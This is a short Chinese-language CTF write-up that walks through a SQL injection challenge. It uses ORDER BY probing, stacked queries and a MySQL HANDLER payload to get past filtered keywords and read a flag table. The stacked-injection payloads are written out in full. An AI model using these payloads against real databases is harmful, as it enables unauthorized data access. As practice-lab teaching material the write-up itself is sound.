进入靶机看到一个提交框
然后题目名提示sql注入
那就直接 order by
直到 3 才报错
说明就只有 2 个字段
随后就是 union select
发现爆了一些过滤的字符
重要的 select、where、rename 等都被过滤
但是没关系
回想之前有道题[GXYCTF2019]Ping Ping Ping跟这道题很像
是用堆叠注入,然后看这题过滤的东西
好像也是用堆叠来做
1'; show databases; #
再进一步
1'; show tables; #
得到了FlagHere这个文件
光看这个文件名就可以知道flag在这里面
所以继续使用堆叠查看内容
1'; show columns from `FlagHere`#
但是发现是不行的,不过更确定了flag在这里面
所以就要像 [GXYCTF2019]Ping Ping Ping 那样用rename来提取出来
但是开头就看到了他将rename过滤
所以要用另一种办法,那就是 handler
HANDLER ... OPEN
语句会打开一个表,使其能够用后续的HANDLER ... READ
语句访问。这个表不能和其他会话共享直到HANDLER ... CLOSE
或会话关闭
payload:1';handler FlagHere open;handler FlagHere read first;#